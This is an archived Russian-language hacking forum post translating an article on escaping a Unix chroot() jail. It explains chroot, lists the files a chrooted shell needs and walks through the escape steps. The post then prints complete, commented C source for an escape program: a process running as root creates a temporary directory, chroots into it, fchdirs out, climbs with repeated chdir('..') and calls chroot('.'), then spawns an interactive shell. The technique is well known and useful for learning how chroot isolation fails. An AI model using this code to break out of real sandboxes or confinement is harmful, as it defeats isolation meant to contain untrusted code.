ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Перевод статьи How to break out of a chroot() jail[как выйти из chroot]
  #1  
Старый 14.02.2006, 09:17
Аватар для rent0n
rent0n
Участник форума
Регистрация: 25.12.2005
Сообщений: 146
Провел на форуме:
123219

Репутация: 36
По умолчанию Перевод статьи How to break out of a chroot() jail[как выйти из chroot]

КАК ВЫЛЕЗТИ ИЗ CHROOT?

Введение в chroot
chroot – вызов в UNIX системах, который часто используется для обеспечения дополнительного уровня безопасности при запуске непроверенного программного обеспечения(т.е. ПО, устанавливаемого пользователем, которое может обращаться к ядру только через интрефейс системных вызовов). Ядро в разных системах UNIX, которые поддерживают chroot, поддерживает соответствующую корневую директорию для каждого процесса. Обычно это / , но системный вызов chroot() может ее изменить. Когда chroot() успешно вызван, процесс изменяет корневую директорию на директорию, передаваемую в качестве параметра вызову chroot(). Напр., после нижеприведенного кода процесс будет видеть директорию /foo/bar как свую корневую директорию:
chdir("/foo/bar");
chroot("/foo/bar");
Нужно вызывать chdir() перед chroot(). Это гарантирует, что рабочая директория процесса – это chroot-директория. Для большинства реализаций chroot() нельзя изменить рабочую директорию процесса, запущенного в chroot().
Соответственно, после chroot(),в результате вызова open(''/'',O_RDONLY) будет открыта директория как после вызова open(''/foo/bar'',O_RDONLY).
Запущенная программа может использовать различные фалы в процессе работы. Например, следующие файлы требуются для многих обычных операций базового командного интерпретатора sh, запущенного в chroot-cреде.
/bin/sh The binary for sh
/usr/ld.so.1 Dynamically link in the shared object libraries
/dev/zero Ensuring that the pages of memory used by shared objects are clear /usr/lib/libc.so.1 The general C library
/usr/lib/libdl.so.1 The dynamic linking access library
/usr/lib/libw.so.1 Internationalisation library
/usr/lib/libintl.so.1 Internationalisation library
/usr/platform/SUNW,Ultra-1/lib/libc_psr.so.1 - машинно-зависимые библиотеки функций, написанные на ассемблере
Для работы сложных и больших программ требуется множество файлов. Так, perl требует большого числа файлов и директорий, запущенных в chroot-среде(2610 файлов и 192 директории).
РАЗРУШЕНИЕ CHROOT()
Пока chroot умеренно безопасен, программа может выйти из него, используя прерывания. Если программа запущена с привилегиями рута, это может быть использовано для выхода из среды chroot(). Чтобы сделать это требуется доступ к компилятору С или к интерпретатору Perl и известные дыры безопасности для получения рутовых привилегий.
Действительно, неразумно допускать, что пользователь имеет доступ к интерпретатору Perl. Это так, к тому же возможно для пользователя получение рутовых привилегий через дыры в безопасности в модулях запущенного веб-сервера. Атакующий может использовать программы с установленным битом suid, которые предситавляют собой еще одну дыру. В действительности же в chroot-среде таких программ обычно нет. Тем не менее, поддержка chroot-среды – это нетривиальная задача, напр., системные патчи, фиксирующие такие дыры в безопасности, ничего не знают о копиях программ в chroot-среде. Гарантированно, в chroot-среде не должно быть исполняемых setuid-root файлов.
Чтобы выйти из chroot-среды, программа должна сделать следующее:
Создать временную директорию в текущей рабочей директории
Открыть текущую рабочию директорию
Только тогда, когда chroot() изменяет рабочую директорию вызывающей программы
Изменить корневую директорию процесса на временную, используя chroot()
Использовать fchdir() с файловым дескриптором открытой директории для перемещения текущей рабочей директории из chroot-среды
Только тогда, когда chroot() изменяет рабочую директорию вызывающей программы
Выполнить несколько раз chdir(''..'') для перемещения текущей рабочей директории в настоящую корневую директорию
Изменить корневую директорию процесса на текущую директорию, используя chroot(''.'')

Следующий код – это пример атакующей программы для выхода из chroot(). Perl-версия возможна, хотя здесь и не приведена

Breaking chroot()
001 #include <stdio.h>
002 #include <errno.h>
003 #include <fcntl.h>
004 #include <string.h>
005 #include <unistd.h>
006 #include <sys/stat.h>
007 #include <sys/types.h>
008
009 /*
010 ** Вам нужно установить NEED_FCHDIR в 1, если chroot() на вашей
011 ** системе меняет рабочую директорию вызываемого процесса
012 ** на некоторую директорию, когда процесс был «chroot()ed»
013 **
014 **
015 ** Не нужно этого делать, если система Solaris 2.7 и ниже
016 **
017 **
018 */
019 #define NEED_FCHDIR 0
020
021 #define TEMP_DIR "waterbuffalo"
022
023 /* выход из chroot()-среды на C */
024
025 int main() {
026 int x; /* Используется для передвижения вверх по дереву */
027 int done=0; /* Еще не все? */
028 #ifdef NEED_FCHDIR
029 int dir_fd; /* Дескриптор директории*/
030 #endif
031 struct stat sbuf; /* The stat() буфер*/
032
033 /*
034 **Сначала создаем временную директорию, если она не существует
035 */
036 if (stat(TEMP_DIR,&sbuf)<0) {
037 if (errno==ENOENT) {
038 if (mkdir(TEMP_DIR,0755)<0) {
039 fprintf(stderr,"Failed to create %s - %s\n", TEMP_DIR,
040 strerror(errno));
041 exit(1);
042 }
043 } else {
044 fprintf(stderr,"Failed to stat %s - %s\n", TEMP_DIR,
045 strerror(errno));
046 exit(1);
047 }
048 } else if (!S_ISDIR(sbuf.st_mode)) {
049 fprintf(stderr,"Error - %s is not a directory!\n",TEMP_DIR);
050 exit(1);
051 }
052
053 #ifdef NEED_FCHDIR
054 /*
055 ** Сейчас мы открываем теукщую рабосую директорию
056 **
057 ** Note: Только если chroot() изменяет рабочую директорию
058 ** вызываемой программы на директорию, установленную chroot().
059 **
060 */
061 if ((dir_fd=open(".",O_RDONLY))<0) {
062 fprintf(stderr,"Failed to open "." for reading - %s\n",
063 strerror(errno));
064 exit(1);
065 }
066 #endif
067
068 /*
069 ** chroot-тим временную директорию
070 */
071 if (chroot(TEMP_DIR)<0) {
072 fprintf(stderr,"Failed to chroot to %s - %s\n",TEMP_DIR,
073 strerror(errno));
074 exit(1);
075 }
076
077 #ifdef NEED_FCHDIR
078 /*
079 ** Частично выходим из chroot, используя fchdir()
080 **
081 ** Это лишь частичный выход из chroot, пока
082 ** наша текущая рабочая директория вне chroot(),
083 ** но наша корневая директоря все еще там. Таким образом,
084 ** все ссылки на "/" будут ссылаться на корень chroot().
085 **
086 ** Note: Только если chroot() изменяет рабочую директорию
087 ** вызываемой программы на директорию, установленную chroot()
088 **
089 */
090 if (fchdir(dir_fd)<0) {
091 fprintf(stderr,"Failed to fchdir - %s\n",
092 strerror(errno));
093 exit(1);
094 }
095 close(dir_fd);
096 #endif
097
098 /*
099 ** Завершаем выход из chroot перемещением вверх по дереву и
100 ** вызываем chroot(''/''), когда будем в настоящей корневой директории
101 ** Мы только вызываем chdir("..") много раз
102 ** (1024 раза на удачу .
103 **
104 **
105 **
106 ** В конце выхода устанавливаем chroot(".") - т.е. chroot-директория -
107 ** это настоящая / директория
108 **
109 */
110 for(x=0;x<1024;x++) {
111 chdir("..");
112 }
113 chroot(".");
114
115 /*
116 ** Закончили – вызываем shell
117 */
118 if (execl("/bin/sh","-i",NULL)<0) {
119 fprintf(stderr,"Failed to exec - %s\n",strerror(errno));
120 exit(1);
121 }
122 }

КОДИНГ С chroot() В ГНЕВЕ
Очень важный аспект написания безопасного кода – это принцип «минимальных привилегий». В соответствии с ним, код должен запускаться с минимальными привилегиями пользователя, которому это нужно.
Первоначально chroot спользовался для для тестирования прграммногго обеспечения в защищенной среде.
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ